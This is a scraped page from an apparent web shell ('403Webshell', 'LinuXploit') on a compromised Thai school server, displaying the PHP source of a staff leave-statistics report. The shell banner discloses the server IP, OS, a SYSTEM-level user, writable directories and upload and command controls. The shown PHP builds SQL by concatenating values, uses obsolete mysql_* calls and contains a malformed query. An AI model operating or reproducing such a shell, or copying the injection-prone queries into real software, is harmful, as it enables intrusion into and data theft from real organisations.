403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/ratchaborika/modules/tkk6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/ratchaborika/modules/tkk6/printsumla.php
<link href="style_web.css" rel="stylesheet" type="text/css">
<SCRIPT LANGUAGE="JavaScript">
function printPage() {
if (window.print)
window.print()
else
alert("Sorry, your browser doesn't support this feature.");
}
</SCRIPT>
<div align="left">
	  <table cellspacing="0" cellpadding="0" width="1005" height=450 border="0">
        <tbody><input type="button" name="Button" value="  พิมพ์เอกสาร " onclick="javascript:this.style.display='none';printPage();">
          <tr>
            <td valign="top" width="100%" ><div align="center"><font color=red><b>สถิติการลาของบุคลากร</b></font>
        
                              <table width="1000" align="center" cellspacing="0" cellpadding="0" border="0">
                                <tr>
                                  <td align="center">
                                      <!-- แสดงผลรายการสมาชิกเว็บ -->
                                      <?
//////////////////////////////////////////// แสดงรายชื่อสมาชิกเว็บ
if($_GET[op] == ""){
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$limit = 150 ;
$SUMPAGE = $db->num_rows(TB_user,"id","status='1'");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;
?>
                                      <form action="?name=user&amp;file=user_cp&amp;op=user_del&amp;action=multidel" method="post" name="myform" id="myform">
                                        <table width="1000" cellspacing="0" cellpadding="0" border="1">
											<tr bgcolor="#99ccff" height="20">
                                                <td rowspan="2"><div align="center"><font color="#000000"><b></b></font></div>
												<div align="center"><font color="#000000"><b>ที่</b></font></div></td>
                                                <td rowspan="2"><div align="center"><font color="#000000"><b></b></font></div>
                                            <div align="center"><font color="#000000"><b>ชื่อ - นามสกุล</b></font></div></td>
                                                <td rowspan="2"><div align="center"><font color="#000000"><b></b></font></div>
                                            <div align="center"><font color="#000000"><b>กลุ่ม</b></font></div></td>
											 <td colspan="2"><div align="center"><font color="#000000"><b></b></font></div>
												<div align="center"><font color="#000000"><b>ลาป่วย</b></font></div></td>
											 <td colspan="2"><div align="center"><font color="#000000"><b></b></font></div>
												<div align="center"><font color="#000000"><b>ลากิจ</b></font></div></td>
												<td colspan="2"><div align="center"><font color="#000000"><b></b></font></div>
												<div align="center"><font color="#000000"><b>ลาคลอด</b></font></div></td>
												<td colspan="3"><div align="center"><font color="#000000"><b></b></font></div>
												<div align="center"><font color="#000000"><b>ลาพักผ่อน</b></font></div></td>
                                          </tr>
                                          <tr bgcolor="#99ccff" height="25">

											 <td><div align="center"><font color="#000000"><b>ครั้ง</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>วัน</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>ครั้ง</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>วัน</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>ครั้ง</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>วัน</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>ครั้ง</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>วัน</b></font></div></td>
											 <td><div align="center"><font color="#000000"><b>คงเหลือ</b></font></div></td>
 
 <?
$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE level>1 and status='1' ORDER BY working ASC LIMIT $goto, $limit ");
$i=1;
while($arr[user] = $db->fetch($res[user])){
	$res[groups] = $db->select_query("SELECT * FROM ".TB_ADMIN_GROUP." WHERE id='".$arr[user][level]."' ");
	$arr[groups] = $db->fetch($res[groups]);
	$res[working] = $db->select_query("SELECT * FROM ".TB_WORKING_CAT." WHERE id='".$arr[user][working]."'  ");
	$arr[working] = $db->fetch($res[working]);
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[yearla] = $db->select_query("SELECT * FROM ".TB_YEARLA_CAT." ORDER BY id ");
		$arr[yearla] = $db->fetch($res[yearla]);	
//แสดงข่าวสาร/ประชาสัมพันธ์ 
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[tkk6] = $db->select_query("SELECT * FROM ".TB_TKK6." ORDER BY id ");
$arr[tkk6] = $db->fetch($res[tkk6]);
?>
<?php
// Make สถิติลาป่วย
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$query = "SELECT la SUM(la) FROM web_tkk6  WHERE  cat='".$arr[user][id]."'and yearla='".$arr[yearla][name]."'  GROUP BY id"; 
$sql1="select sum(la='ป่วย') as tt1 from web_tkk6 where   cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."'  and comment1='อนุญาต' ";
			$dbquery1 = mysql_db_query($dbname, $sql1);
			$result1 = mysql_fetch_array($dbquery1);
			$poi=$result1[tt1];
$query = "SELECT numpoi SUM(numpoi) FROM web_tkk6  WHERE  cat='".$arr[user][id]."'and yearla='".$arr[yearla][name]."'  GROUP BY id"; 
$sql2="select sum(numpoi) as tt2 from web_tkk6 where   cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' and la='ป่วย' and comment1='อนุญาต' ";
			$dbquery2 = mysql_db_query($dbname, $sql2);
			$result2 = mysql_fetch_array($dbquery2);
			$sumpoi=$result2[tt2];
?>
<?php
// Make สถิติลากิจ
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$query = "SELECT la SUM(la) FROM web_tkk6  WHERE  cat='".$arr[user][id]."'and yearla='".$arr[yearla][name]."'  GROUP BY id"; 
$sql3="select sum(la='กิจส่วนตัว') as tt3 from web_tkk6 where   cat='".$arr[user][id]."' and numpoi>0 and yearla='".$arr[yearla][name]."' and comment1='อนุญาต'  ";
			$dbquery3 = mysql_db_query($dbname, $sql3);
			$result3 = mysql_fetch_array($dbquery3);
			$kit=$result3[tt3];
$query = "SELECT numpoi SUM(numpoi) FROM web_tkk6  WHERE  cat='".$arr[user][id]."'and yearla='".$arr[yearla][name]."'  GROUP BY id"; 
$sql4="select sum(numpoi) as tt4 from web_tkk6 where   cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' and la='กิจส่วนตัว' and comment1='อนุญาต'  ";
			$dbquery4 = mysql_db_query($dbname, $sql4);
			$result4= mysql_fetch_array($dbquery4);
			$sumkit=$result4[tt4];
?>

<?php
// Make สถิติลาคลอด
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$query = "SELECT la SUM(la) FROM web_tkk6  WHERE  cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' GROUP BY id"; 
$sql5="select sum(la='คลอดบุตร') as tt5 from web_tkk6 where  cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' and comment1='อนุญาต'  ";
			$dbquery5 = mysql_db_query($dbname, $sql5);
			$result5 = mysql_fetch_array($dbquery5);
			$klod=$result5[tt5];
$query = "SELECT numpoi SUM(numpoi) FROM web_tkk6  WHERE  cat='".$arr[user][id]."'and yearla='".$arr[yearla][name]."'  GROUP BY id"; 
$sql6="select sum(numpoi) as tt6 from web_tkk6 where   cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' and la='คลอดบุตร' and comment1='อนุญาต' ";
			$dbquery6 = mysql_db_query($dbname, $sql6);
			$result6= mysql_fetch_array($dbquery6);
			$sumklod=$result6[tt6];
?>
<?php
// Make สถิติลาคลอด
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$query = "SELECT la SUM(la) FROM web_tkk6  WHERE  cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' GROUP BY id"; 
$sql7="select sum(la='พักผ่อน') as tt7 from web_tkk6 where  cat='".$arr[user][id]."' and numpoi>0 and yearla='".$arr[yearla][name]."' and comment1=la='พักผ่อน' ";
			$dbquery7 = mysql_db_query($dbname, $sql7);
			$result7 = mysql_fetch_array($dbquery7);
			$rest=$result7[tt7];
$query = "SELECT numpoi SUM(numpoi) FROM web_tkk6  WHERE  cat='".$arr[user][id]."'and yearla='".$arr[yearla][name]."'  GROUP BY id"; 
$sql8="select sum(numpoi) as tt8 from web_tkk6 where   cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' and la='พักผ่อน' and comment1='อนุญาต' ";
			$dbquery8 = mysql_db_query($dbname, $sql8);
			$result8= mysql_fetch_array($dbquery8);
			$sumrest=$result8[tt8];
?>

                                          <tr>
                                            <td width="20" align="center"><? echo"".$i?></td>
                                            <td width="230" >  <A HREF="?name=tkk6&file=checkperson&op=tkk6_read&cat=<?=$arr[user][id];?> "><? echo $arr[user][category_name];?></a></td>
											<td width="300" ><?=$arr[user][posit];?></td>
											<td width="50" align="center"><font color=red><? echo number_format($poi),''; ?></font></td>
											<td width="50" align="center"><font color=blue><?$a=$sumpoi; echo "" .round($a,1);?></font></td>
											<td width="50" align="center"><font color=red><? echo number_format($kit),''; ?></font></td>
											<td width="50" align="center"><font color=blue><?$a=$sumkit; echo "" .round($a,1);?></font></td>
											<td width="50" align="center"><font color=red><? echo number_format($klod),''; ?></font></td>
											<td width="50" align="center"><font color=blue><?$a=$sumklod; echo "" .round($a,1);?></font></td>
											<td width="50" align="center"><font color=red><? echo number_format($rest),''; ?></font></td>
											<td width="50" align="center"><font color=blue><?$a=$sumrest; echo "" .round($a,1);?></font></td>
<?
$res[tkk6] = $db->select_query("SELECT * FROM ".TB_TKK6." WHERE cat='".$arr[user][id]."' and yearla='".$arr[yearla][name]."' and comment1='อนุญาต' ORDER BY id DESC LIMIT 1 ");
$count=0;
while($arr[tkk6] = $db->fetch($res[tkk6])){

$res[category] = $db->select_query("SELECT * FROM ".TB_TKK6_CAT." WHERE cat='".$arr[tkk6][cat]."' and yearla='".$arr[yearla][name]."' ");
	$arr[category] = $db->fetch($res[category]);
?>
											<td width="80" align="center"><font color=red><?$a=$arr[category][cumulative]+$arr[category][claim]-$sumrest;echo "" .round($a,1)?></td>

<?
 } 
?>
                                          </tr>


<?
$i++;
 } 
?>

                                        </table>
                                      </form>
									  <BR>
<div align="left">
  <?
	SplitPage($page,$totalpage,"?name=tkk6&file=printsumla");
	echo $ShowSumPages ;
	echo "<BR>";
	echo $ShowPages ;
	echo "<BR><BR>";
	

//$res[groupstext] = $db->select_query("SELECT * FROM ".TB_ADMIN_GROUP." ORDER BY id ");
//while ($arr[groupstext] = $db->fetch($res[groupstext]))
 //  {
		//echo "<LI><B>".$arr[groupstext][name]." : </B>".$arr[groupstext][description]."</LI>";
 //  }
//$db->closedb ();

}
?>
</div>
                                    <br />
                                  </td>
                                </tr>
                              </table>
</td>
                               </td>
                    </tr>
                  </tbody>
                </table>

Youez - 2016 - github.com/yon3zu
LinuXploit